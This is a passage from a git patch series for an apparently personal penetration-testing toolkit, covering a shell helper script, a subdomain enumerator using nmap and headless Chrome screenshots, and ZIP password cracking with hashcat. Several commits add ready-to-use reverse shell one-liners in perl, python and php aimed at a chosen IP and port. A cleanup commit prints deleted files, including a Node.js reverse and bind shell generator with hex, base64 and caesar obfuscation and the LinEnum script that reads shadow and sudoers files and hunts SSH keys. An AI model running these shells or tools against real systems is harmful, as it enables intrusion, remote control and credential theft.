>/tmp/f" + echo -e "$NEWLINE" +} + cmd=$1 clear @@ -397,6 +429,9 @@ case "$cmd" in s3go) s3go "$2" "$3" ;; + generate_shells) + generate_shells "$2" "$3" + ;; interactive) interactive "$2" ;; @@ -415,10 +450,11 @@ case "$cmd" in echo -e "\n::$BLUE AMAZON AWS S3 ::$CLR" echo -e "\ts3 [bucket]\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" echo -e "\ts3go [bucket] [key]\t\t\t\t -> get object identified by [key] from AWS S3 [bucket]" - echo -e "\n::$BLUE TOOLS ::$CLR" + echo -e "\n::$BLUE PENTEST TOOLS ::$CLR" echo -e "\thttp_server [PORT]\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "\tprivesc_tools_linux \t\t\t\t -> runs HTTP server on port 9119 in directory with Linux PrivEsc tools" echo -e "\tprivesc_tools_windows \t\t\t\t -> runs HTTP server on port 9119 in directory with Windows PrivEsc tools" + echo -e "\tgenerate_shells [IP] [PORT] \t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" echo -e "\n::$BLUE SMB SUITE ::$CLR" echo -e "\tsmb_enum [IP] [USER] [PASSWORD]\t\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" echo -e "\tsmb_get_file [IP] [user] [password] [PATH] \t -> downloads file from SMB share [PATH] on [IP]" From 128e854e30a811c91af6b77d5ec923bedb57fbae Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 25 Oct 2020 14:08:31 +0000 Subject: [PATCH 061/369] [s0mbra] missing bracket in Python rev. shell --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 59537c9..8c9f8ef 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -351,7 +351,7 @@ generate_shells() { echo -e "\033[42m[perl]\033[0m perl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" echo -e "\033[42m[perl (Windows)]\033[0m perl -MIO -e '\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" echo -e "$NEWLINE" - echo -e "\033[43m[python]\033[0m python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"\033[0m);'" + echo -e "\033[43m[python]\033[0m python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]\033[0m);'" echo -e "$NEWLINE" echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" echo -e "$NEWLINE" From 6d6bc24b1264c10621f16ea017db130a56fa342e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 1 Nov 2020 21:07:37 +0000 Subject: [PATCH 062/369] [denumerator] Add option to create directory for report in reports/ --- .gitignore | 1 + denumerator/denumerator.py | 35 +++++++++++++++++++++++------------ enumeratescope.sh | 9 ++++++--- 3 files changed, 30 insertions(+), 15 deletions(-) diff --git a/.gitignore b/.gitignore index b48f25f..2f890da 100644 --- a/.gitignore +++ b/.gitignore @@ -14,3 +14,4 @@ sword/OUTPUT .vscode .history/ +.env diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 9bdfaf2..6685781 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -37,11 +37,13 @@ $ ./denumerator.py -f DOMAINS_LIST -t 5 """ +DEFAULT_DIRECTORY = 'report' colors = { "white": '\33[37m', 200: '\33[32m', 204: '\33[32m', + 301: '\33[33m', 302: '\33[33m', 304: '\33[33m', 302: '\33[33m', @@ -110,11 +112,11 @@ def create_output_header(html_output): return -def append_to_output(html_output, url, http_status_code, response_headers, nmap_output, ip_addresses): +def append_to_output(html_output, url, http_status_code, response_headers, nmap_output, ip_addresses, output_directory): screenshot_name = url.replace('https', '').replace( 'http', '').replace('://', '') + '.png' screenshot_cmd = '/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --headless --user-agent="bl4de/HackerOne" --disable-gpu --screenshot={} '.format( - './report/' + screenshot_name) + './reports/{}/'.format(output_directory) + screenshot_name) os.system(screenshot_cmd + url) # base color for all responses @@ -191,7 +193,7 @@ def create_output_footer(html_output): return -def send_request(proto, domain, output_file, html_output, allowed_http_responses, nmap_output, ip): +def send_request(proto, domain, output_file, html_output, allowed_http_responses, nmap_output, ip, output_directory): """ sends request to check if server is alive """ @@ -213,7 +215,7 @@ def send_request(proto, domain, output_file, html_output, allowed_http_responses if str(resp.status_code) in allowed_http_responses: append_to_output(html_output, protocols.get( - proto.lower()) + domain, resp.status_code, resp.headers, nmap_output, ip) + proto.lower()) + domain, resp.status_code, resp.headers, nmap_output, ip, output_directory) if output_file: output_file.write('{}\n'.format(domain)) @@ -222,7 +224,7 @@ def send_request(proto, domain, output_file, html_output, allowed_http_responses return resp.status_code -def enumerate_domains(domains, output_file, html_output, allowed_http_responses, nmap_top_ports, show=False): +def enumerate_domains(domains, output_file, html_output, allowed_http_responses, nmap_top_ports, output_directory, show=False): """ enumerates domain from domains """ @@ -240,9 +242,9 @@ def enumerate_domains(domains, output_file, html_output, allowed_http_responses, for port in nmap_output.stdout.split(b"\n") if port.find(b"open") > 0]) send_request('http', d, output_file, - html_output, allowed_http_responses, nmap_output, ip) + html_output, allowed_http_responses, nmap_output, ip, output_directory) send_request('https', d, output_file, - html_output, allowed_http_responses, nmap_output, ip) + html_output, allowed_http_responses, nmap_output, ip, output_directory) except requests.exceptions.InvalidURL: if show is True: @@ -281,12 +283,14 @@ def main(): "-s", "--success", help="Show all responses, including exceptions") parser.add_argument( "-o", "--output", help="Path to output file") + parser.add_argument( + "-d", "--dir", help="Output directory name (default: report/") parser.add_argument( "-c", "--code", help="Show only selected HTTP response status codes, comma separated", default='200' ) parser.add_argument( - "-p", "--ports", help="--top-ports option for nmap (default = 1000)", default=1000 + "-p", "--ports", help="--top-ports option for nmap (default = 100)", default=100 ) args = parser.parse_args() @@ -298,6 +302,11 @@ def main(): else: output_file = False + if args.dir: + output_directory = args.dir + else: + output_directory = DEFAULT_DIRECTORY + if args.code: allowed_http_responses = args.code.split(',') else: @@ -310,15 +319,17 @@ def main(): domains = open(args.file, 'r').readlines() # create dir for HTML report - if os.path.isdir('report') == False: - os.mkdir('report') + if os.path.isdir('reports') == False: + os.mkdir('reports') + if os.path.isdir('reports/{}'.format(output_directory)) == False: + os.mkdir('reports/{}'.format(output_directory)) # starts output HTML - html_output = open('report/__denumerator_report.html', 'w+') + html_output = open('reports/{}/__denumerator_report.html'.format(output_directory), 'w+') create_output_header(html_output) # main loop enumerate_domains(domains, output_file, html_output, - allowed_http_responses, nmap_top_ports, show) + allowed_http_responses, nmap_top_ports, output_directory, show) # finish HTML output create_output_footer(html_output) diff --git a/enumeratescope.sh b/enumeratescope.sh index f6b96f4..02ca6aa 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -48,7 +48,7 @@ create_list_of_domains() { ## runs denumerator run_denumerator() { echo -e "$(date) denumerator started" >> subdomain_enum.log - denumerator -f domains/__domains.final -c 200,302,403,500 + denumerator -f domains/__domains.final -c 200,203,206,301,302,403,500 -d $1 echo -e "$(date) denumerator finished" >> subdomain_enum.log echo -e "$(date) total webservers enumerated and saved to report: $(ls -l report/ | wc -l)" >> subdomain_enum.log } @@ -68,8 +68,11 @@ run_virustotal_enum() { # list of domains - text file, one domain in single line DOMAINS=$1 +# output directory for denumerator +OUTPUT_DIR=$2 + # IP address range -CIDR=$2 +CIDR=$3 echo -e "$(date) subdomain_enum.sh started" > subdomain_enum.log @@ -90,7 +93,7 @@ create_list_of_domains echo -e "\n[+} DONE. Found $(wc -l domains/__domains.final) unique subdomains" # run denumerator on the domains/domains.final output file -run_denumerator +run_denumerator $OUTPUT_DIR echo -e "\n[+} DONE." From 3a0f5862f20b9bafc7a6e3d028b6fd43daac947f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 2 Nov 2020 18:39:33 +0000 Subject: [PATCH 063/369] [denumerator] timeouts bugfixes; output improvements --- denumerator/denumerator.py | 24 ++++++++++++++++++------ 1 file changed, 18 insertions(+), 6 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 6685781..0b53253 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -115,9 +115,15 @@ def create_output_header(html_output): def append_to_output(html_output, url, http_status_code, response_headers, nmap_output, ip_addresses, output_directory): screenshot_name = url.replace('https', '').replace( 'http', '').replace('://', '') + '.png' - screenshot_cmd = '/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --headless --user-agent="bl4de/HackerOne" --disable-gpu --screenshot={} '.format( + screenshot_cmd = '/Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --headless --user-agent="HackerOne" --dns-prefetch-disable --log-level=0 --timeout=30000 --screenshot={} '.format( './reports/{}/'.format(output_directory) + screenshot_name) - os.system(screenshot_cmd + url) + + # os.system(screenshot_cmd + url) + subprocess.run( + screenshot_cmd + url, + shell=True, + timeout=30 + ) # base color for all responses http_status_code_color = "000" @@ -228,24 +234,30 @@ def enumerate_domains(domains, output_file, html_output, allowed_http_responses, """ enumerates domain from domains """ + iterator = 0 + number_of_domains = len(domains) for d in domains: + iterator = iterator + 1 try: d = d.strip('\n').strip('\r') - + print('\n{}[+] Checking domain {} from {}...{}'.format(colors['grey'], iterator, number_of_domains, colors['white'])) # IP address ip = subprocess.run(["host", d], capture_output=True, timeout=15).stdout # perform nmap scan nmap_output = subprocess.run( ["nmap", "--top-ports", str(nmap_top_ports), "-n", d], capture_output=True) - print([port.decode("utf-8") - for port in nmap_output.stdout.split(b"\n") if port.find(b"open") > 0]) + print('{} nmap: '.format(colors['grey']), [port.decode("utf-8") + for port in nmap_output.stdout.split(b"\n") if port.find(b"open") > 0], '{}'.format(colors['white'])) send_request('http', d, output_file, html_output, allowed_http_responses, nmap_output, ip, output_directory) + time.sleep(1) + send_request('https', d, output_file, html_output, allowed_http_responses, nmap_output, ip, output_directory) - + time.sleep(1) + except requests.exceptions.InvalidURL: if show is True: print('[-] {} is not a valid URL :/'.format(d)) From 2a2d9890c27f60e7a39e1f7487a7e6079112a920 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 7 Nov 2020 18:11:32 +0000 Subject: [PATCH 064/369] [denumerator] Add 301 and 500 to list of default HTTP responses --- denumerator/denumerator.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 0b53253..db23627 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -322,7 +322,7 @@ def main(): if args.code: allowed_http_responses = args.code.split(',') else: - allowed_http_responses = ['200'] + allowed_http_responses = ['200','301','500'] nmap_top_ports = args.ports From c6dd2aea8709a9f97a789253ab11d53013541ed5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 9 Nov 2020 23:05:47 +0000 Subject: [PATCH 065/369] [denumerator] Fix for misssing domains list file --- denumerator/denumerator.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index db23627..340d6cc 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -328,7 +328,11 @@ def main(): # set options show = True if args.success else False - domains = open(args.file, 'r').readlines() + + if args.file is not None and os.path.isfile(args.file): + domains = open(args.file, 'r').readlines() + else: + exit('[-] Can not open {} file with domains list :/'.format(args.file)) # create dir for HTML report if os.path.isdir('reports') == False: From aaaccaaa85d5c599fedfa7348023f1470ea12342 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 13 Dec 2020 11:12:19 +0000 Subject: [PATCH 066/369] [s0mbra] rockyou_zip --- denumerator/denumerator.py | 1 - enumeratescope.sh | 4 ++-- s0mbra.sh | 12 ++++++++++++ 3 files changed, 14 insertions(+), 3 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 340d6cc..2f6d2cc 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -300,7 +300,6 @@ def main(): parser.add_argument( "-c", "--code", help="Show only selected HTTP response status codes, comma separated", default='200' ) - parser.add_argument( "-p", "--ports", help="--top-ports option for nmap (default = 100)", default=100 ) diff --git a/enumeratescope.sh b/enumeratescope.sh index 02ca6aa..c3e52d4 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -21,7 +21,7 @@ enumerate_domain() { local DOMAIN=$1 echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log sublister -d $DOMAIN -o domains/$DOMAIN.sublister - amass enum -config $HOME/.config/amass/amass.ini -brute -min-for-recursive 1 -d $DOMAIN -o domains/$DOMAIN.amass + # amass enum -config $HOME/.config/amass/amass.ini -brute -min-for-recursive 1 -d $DOMAIN -o domains/$DOMAIN.amass if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ]; then cat domains/$DOMAIN.* > domains/$DOMAIN.all @@ -48,7 +48,7 @@ create_list_of_domains() { ## runs denumerator run_denumerator() { echo -e "$(date) denumerator started" >> subdomain_enum.log - denumerator -f domains/__domains.final -c 200,203,206,301,302,403,500 -d $1 + denumerator -f domains/__domains.final -c 200,403,500,301,302,304,404,206,405,411,415 -d $1 echo -e "$(date) denumerator finished" >> subdomain_enum.log echo -e "$(date) total webservers enumerated and saved to report: $(ls -l report/ | wc -l)" >> subdomain_enum.log } diff --git a/s0mbra.sh b/s0mbra.sh index 8c9f8ef..3894de1 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -113,6 +113,14 @@ rockyou_john() { cat "$HACKING_HOME"/tools/jtr/run/john.pot } +# ZIP password cracking with rockyou.txt +rockyou_zip() { + echo -e "$BLUE[+] Running $MAGENTA zip2john $BLUE and prepare hash for hashcat..." + "$HACKING_HOME"/tools/jtr/run/zip2john "$1" | cut -d ':' -f 2 > ./hashes.txt + echo -e "$BLUE[+] Starting $MAGENTA hashcat $BLUE (using $YELLOW rockyou.txt $BLUE dictionary against $YELLOW hashes.txt $BLUE file)...$CLR" + hashcat -m 13600 ./hashes.txt ~/hacking/dictionaries/rockyou.txt +} + # converts id_rsa to JTR format for cracking SSH key ssh_to_john() { echo -e "$BLUE[+] Converting SSH id_rsa key to JTR format to crack it$CLR" @@ -384,6 +392,9 @@ case "$cmd" in rockyou_john) rockyou_john "$2" "$3" ;; + rockyou_zip) + rockyou_zip "$2" + ;; ssh_to_john) ssh_to_john "$2" ;; @@ -463,6 +474,7 @@ case "$cmd" in echo -e "\n::$BLUE PASSWORDS CRACKIN' ::$CLR" echo -e "\trockyou_john [TYPE] [HASHES]\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" echo -e "\tssh_to_john [ID_RSA]\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" + echo -e "\trockyou_zip [ZIP file]\t\t\t\t -> crack ZIP password" echo -e "\n::$BLUE STATIC CODE ANALYSIS ::$CLR" echo -e "\tnpm_scan [MODULE_NAME]\t\t\t\t -> static code analysis of MODULE_NAME npm module with nodestructor" echo -e "\tjavascript_sca [FILE_NAME]\t\t\t -> static code analysis of single JavaScript file with nodestructor" From 4d4fba6b606585a2c14c883b0a0eb2e35cf2b395 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 26 Dec 2020 01:34:20 +0000 Subject: [PATCH 067/369] cleanup --- __not_mine/JSReverseShellGenerator.py | 139 --- __not_mine/linenum.sh | 1289 -------------------- __not_mine/linuxprivchecker.sh | 1086 ----------------- aqua | 12 - http_headers_fuzzer/http_headers_fuzzer.py | 214 ---- http_headers_fuzzer/requirements.txt | 1 - npmpwnr.py | 124 -- source_tracker/LICENSE.md | 20 - source_tracker/README.md | 80 -- source_tracker/source_tracker.py | 127 -- 10 files changed, 3092 deletions(-) delete mode 100644 __not_mine/JSReverseShellGenerator.py delete mode 100644 __not_mine/linenum.sh delete mode 100644 __not_mine/linuxprivchecker.sh delete mode 100755 aqua delete mode 100755 http_headers_fuzzer/http_headers_fuzzer.py delete mode 100644 http_headers_fuzzer/requirements.txt delete mode 100755 npmpwnr.py delete mode 100644 source_tracker/LICENSE.md delete mode 100644 source_tracker/README.md delete mode 100755 source_tracker/source_tracker.py diff --git a/__not_mine/JSReverseShellGenerator.py b/__not_mine/JSReverseShellGenerator.py deleted file mode 100644 index ed48304..0000000 --- a/__not_mine/JSReverseShellGenerator.py +++ /dev/null @@ -1,139 +0,0 @@ -#!/usr/bin/env python -# -# Author: Andre Lima @0x4ndr3 -# Blog post: https://pentesterslife.blog/ -# - -import click -import socket # to validate the IP address -import urllib # to URL percent-encode the payloads -import base64 - - -def get_default_bind_JS_code(port): - return '''(function x(){require('http').createServer(function(req,res){res.writeHead(200,\ -{"Content-Type":"text/plain"});require('child_process').exec(require('url').parse(req.url\ -,true).query['c'],function(e,s,st){res.end(s)})}).listen(%s)})()''' % port -# (function x(){ -# require('http').createServer( -# function(req,res){ -# res.writeHead(200,{"Content-Type":"text/plain"} -# ); -# require('child_process').exec(require('url').parse(req.url,true).query['c'], -# function(e,s,st){ -# res.end(s) -# } -# ) -# } -# ).listen(%s) -# })() - - -def get_default_reverse_JS_code(ip, port): - return '''(function(){var net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh"\ -,[]);var client=new net.Socket();client.connect(%s,"%s", function(){client.pipe(sh.stdin);sh.stdout.\ -pipe(client);sh.stderr.pipe(client)});return /pwned/;})()''' % (port, ip) -# (function(){ -# var net = require("net"), -# cp = require("child_process"), -# sh = cp.spawn("/bin/sh", []); -# var client = new net.Socket(); -# client.connect(%s, "%s", function(){ -# client.pipe(sh.stdin); -# sh.stdout.pipe(client); -# sh.stderr.pipe(client); -# }); -# return /pwned/; // Prevents the Node.js app from crashing -# })() - - -def show_result(encoded_payload): - print - print "Original payload:" - print encoded_payload - print - print "Copy and paste the next line (URL encoded already):" - print urllib.quote_plus(encoded_payload) - print - - -class IPParamType(click.ParamType): - name = 'IP' - - def convert(self, value, param, ctx): - try: - socket.inet_aton(value) - return value - except socket.error: - self.fail('%s is not a valid IP address' % value, param, ctx) - - -IP = IPParamType() - - -@click.group() -def generator(): - pass - - -@click.command() -@click.option('-p', '--port', type=click.IntRange(1, 65535), default=4444, help='value between 1 and 65535') -@click.option('-e', '--encoding', type=click.Choice(['hex', 'base64', 'caesar']), default='hex') -@click.option('-k', '--key', type=click.IntRange(1, 255), default=1, help='only read if caesar encoding is chosen') -def bind(port, encoding, key): - print "TCP Port = %s" % (port) - print "Encoding = %s" % (encoding) - if encoding == "caesar": - print " Key = %s" % (key) - encoded_payload = "" - JS_payload = get_default_bind_JS_code(port) - if encoding == 'hex': - encoded_payload = "eval(Buffer.from('" + \ - JS_payload.encode('hex') + "','hex').toString())" - elif encoding == 'base64': - encoded_payload = "eval(Buffer.from('" + \ - base64.b64encode(JS_payload) + "','base64').toString())" - elif encoding == 'caesar': - for i in JS_payload: - encoded_payload += "%03d" % (ord(i)+key) - encoded_payload = "caesarShift=(str,amount)=>{var output='',code='';for(var i=0;i/dev/null -echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m" |tee -a $report 2>/dev/null -echo -e "\e[00;31m#########################################################\e[00m" |tee -a $report 2>/dev/null -echo -e "\e[00;33m# www.rebootuser.com\e[00m" |tee -a $report 2>/dev/null -echo -e "\e[00;33m# $version\e[00m\n" |tee -a $report 2>/dev/null - -echo "Debug Info" |tee -a $report 2>/dev/null - -if [ "$keyword" ]; then - echo "keyword = $keyword" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$report" ]; then - echo "report name = $report" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ]; then - echo "export location = $export" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$thorough" ]; then - echo "thorough tests = enabled" |tee -a $report 2>/dev/null -else - echo "thorough tests = disabled" |tee -a $report 2>/dev/null -fi - -sleep 2 - -if [ "$export" ]; then - mkdir $export 2>/dev/null - format=$export/LinEnum-export-`date +"%d-%m-%y"` - mkdir $format 2>/dev/null -else - : -fi - -who=`whoami` 2>/dev/null |tee -a $report 2>/dev/null -echo -e "\n" |tee -a $report 2>/dev/null - -echo -e "\e[00;33mScan started at:"; date |tee -a $report 2>/dev/null -echo -e "\e[00m\n" |tee -a $report 2>/dev/null - -echo -e "\e[00;33m### SYSTEM ##############################################\e[00m" |tee -a $report 2>/dev/null - -#basic kernel info -unameinfo=`uname -a 2>/dev/null` -if [ "$unameinfo" ]; then - echo -e "\e[00;31mKernel information:\e[00m\n$unameinfo" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -procver=`cat /proc/version 2>/dev/null` -if [ "$procver" ]; then - echo -e "\e[00;31mKernel information (continued):\e[00m\n$procver" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#search all *-release files for version info -release=`cat /etc/*-release 2>/dev/null` -if [ "$release" ]; then - echo -e "\e[00;31mSpecific release information:\e[00m\n$release" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#target hostname info -hostnamed=`hostname 2>/dev/null` -if [ "$hostnamed" ]; then - echo -e "\e[00;31mHostname:\e[00m\n$hostnamed" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -echo -e "\e[00;33m### USER/GROUP ##########################################\e[00m" |tee -a $report 2>/dev/null - -#current user details -currusr=`id 2>/dev/null` -if [ "$currusr" ]; then - echo -e "\e[00;31mCurrent user/group info:\e[00m\n$currusr" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#last logged on user information -lastlogedonusrs=`lastlog 2>/dev/null |grep -v "Never" 2>/dev/null` -if [ "$lastlogedonusrs" ]; then - echo -e "\e[00;31mUsers that have previously logged onto the system:\e[00m\n$lastlogedonusrs" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - - -#who else is logged on -loggedonusrs=`w 2>/dev/null` -if [ "$loggedonusrs" ]; then - echo -e "\e[00;31mWho else is logged on:\e[00m\n$loggedonusrs" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#lists all id's and respective group(s) -grpinfo=`for i in $(cat /etc/passwd 2>/dev/null| cut -d":" -f1 2>/dev/null);do id $i;done 2>/dev/null` -if [ "$grpinfo" ]; then - echo -e "\e[00;31mGroup memberships:\e[00m\n$grpinfo" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#checks to see if any hashes are stored in /etc/passwd (depreciated *nix storage method) -hashesinpasswd=`grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null` -if [ "$hashesinpasswd" ]; then - echo -e "\e[00;33mIt looks like we have password hashes in /etc/passwd!\e[00m\n$hashesinpasswd" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#locate custom user accounts with some 'known default' uids -readpasswd=`grep -v "^#" /etc/passwd | awk -F: '$3 == 0 || $3 == 500 || $3 == 501 || $3 == 502 || $3 == 1000 || $3 == 1001 || $3 == 1002 || $3 == 2000 || $3 == 2001 || $3 == 2002 { print }'` -if [ "$readpasswd" ]; then - echo -e "\e[00;31mSample entires from /etc/passwd (searching for uid values 0, 500, 501, 502, 1000, 1001, 1002, 2000, 2001, 2002):\e[00m\n$readpasswd" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$readpasswd" ]; then - mkdir $format/etc-export/ 2>/dev/null - cp /etc/passwd $format/etc-export/passwd 2>/dev/null -else - : -fi - -#checks to see if the shadow file can be read -readshadow=`cat /etc/shadow 2>/dev/null` -if [ "$readshadow" ]; then - echo -e "\e[00;33m***We can read the shadow file!\e[00m\n$readshadow" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$readshadow" ]; then - mkdir $format/etc-export/ 2>/dev/null - cp /etc/shadow $format/etc-export/shadow 2>/dev/null -else - : -fi - -#checks to see if /etc/master.passwd can be read - BSD 'shadow' variant -readmasterpasswd=`cat /etc/master.passwd 2>/dev/null` -if [ "$readmasterpasswd" ]; then - echo -e "\e[00;33m***We can read the master.passwd file!\e[00m\n$readmasterpasswd" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$readmasterpasswd" ]; then - mkdir $format/etc-export/ 2>/dev/null - cp /etc/master.passwd $format/etc-export/master.passwd 2>/dev/null -else - : -fi - -#all root accounts (uid 0) -echo -e "\e[00;31mSuper user account(s):\e[00m" | tee -a $report 2>/dev/null; grep -v -E "^#" /etc/passwd 2>/dev/null| awk -F: '$3 == 0 { print $1}' 2>/dev/null |tee -a $report 2>/dev/null -echo -e "\n" |tee -a $report 2>/dev/null - -#pull out vital sudoers info -sudoers=`cat /etc/sudoers 2>/dev/null | grep -v -e '^$' 2>/dev/null |grep -v "#" 2>/dev/null` -if [ "$sudoers" ]; then - echo -e "\e[00;31mSudoers configuration (condensed):\e[00m$sudoers" | tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$sudoers" ]; then - mkdir $format/etc-export/ 2>/dev/null - cp /etc/sudoers $format/etc-export/sudoers 2>/dev/null -else - : -fi - -#can we sudo without supplying a password -sudoperms=`echo '' | sudo -S -l 2>/dev/null` -if [ "$sudoperms" ]; then - echo -e "\e[00;33mWe can sudo without supplying a password!\e[00m\n$sudoperms" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#known 'good' breakout binaries -sudopwnage=`echo '' | sudo -S -l 2>/dev/null | grep -w 'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\|'more'\|'less'\|'vi'\|'emacs'\|'vim'\|'nc'\|'netcat'\|python\|ruby\|lua\|irb' | xargs -r ls -la 2>/dev/null` -if [ "$sudopwnage" ]; then - echo -e "\e[00;33m***Possible Sudo PWNAGE!\e[00m\n$sudopwnage" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#checks to see if roots home directory is accessible -rthmdir=`ls -ahl /root/ 2>/dev/null` -if [ "$rthmdir" ]; then - echo -e "\e[00;33m***We can read root's home directory!\e[00m\n$rthmdir" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#displays /home directory permissions - check if any are lax -homedirperms=`ls -ahl /home/ 2>/dev/null` -if [ "$homedirperms" ]; then - echo -e "\e[00;31mAre permissions on /home directories lax:\e[00m\n$homedirperms" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#looks for files we can write to that don't belong to us -if [ "$thorough" = "1" ]; then - grfilesall=`find / -writable -not -user \`whoami\` -type f -not -path "/proc/*" -exec ls -al {} \; 2>/dev/null` - if [ "$grfilesall" ]; then - echo -e "\e[00;31mFiles not owned by user but writable by group:\e[00m\n$grfilesall" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi -fi - -#looks for world-reabable files within /home - depending on number of /home dirs & files, this can take some time so is only 'activated' with thorough scanning switch -if [ "$thorough" = "1" ]; then -wrfileshm=`find /home/ -perm -4 -type f -exec ls -al {} \; 2>/dev/null` - if [ "$wrfileshm" ]; then - echo -e "\e[00;31mWorld-readable files within /home:\e[00m\n$wrfileshm" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -if [ "$thorough" = "1" ]; then - if [ "$export" ] && [ "$wrfileshm" ]; then - mkdir $format/wr-files/ 2>/dev/null - for i in $wrfileshm; do cp --parents $i $format/wr-files/ ; done 2>/dev/null - else - : - fi - else - : -fi - -#lists current user's home directory contents -if [ "$thorough" = "1" ]; then -homedircontents=`ls -ahl ~ 2>/dev/null` - if [ "$homedircontents" ] ; then - echo -e "\e[00;31mHome directory contents:\e[00m\n$homedircontents" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -#checks for if various ssh files are accessible - this can take some time so is only 'activated' with thorough scanning switch -if [ "$thorough" = "1" ]; then -sshfiles=`find / \( -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" \) -exec ls -la {} 2>/dev/null \;` - if [ "$sshfiles" ]; then - echo -e "\e[00;31mSSH keys/host information found in the following locations:\e[00m\n$sshfiles" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -if [ "$thorough" = "1" ]; then - if [ "$export" ] && [ "$sshfiles" ]; then - mkdir $format/ssh-files/ 2>/dev/null - for i in $sshfiles; do cp --parents $i $format/ssh-files/; done 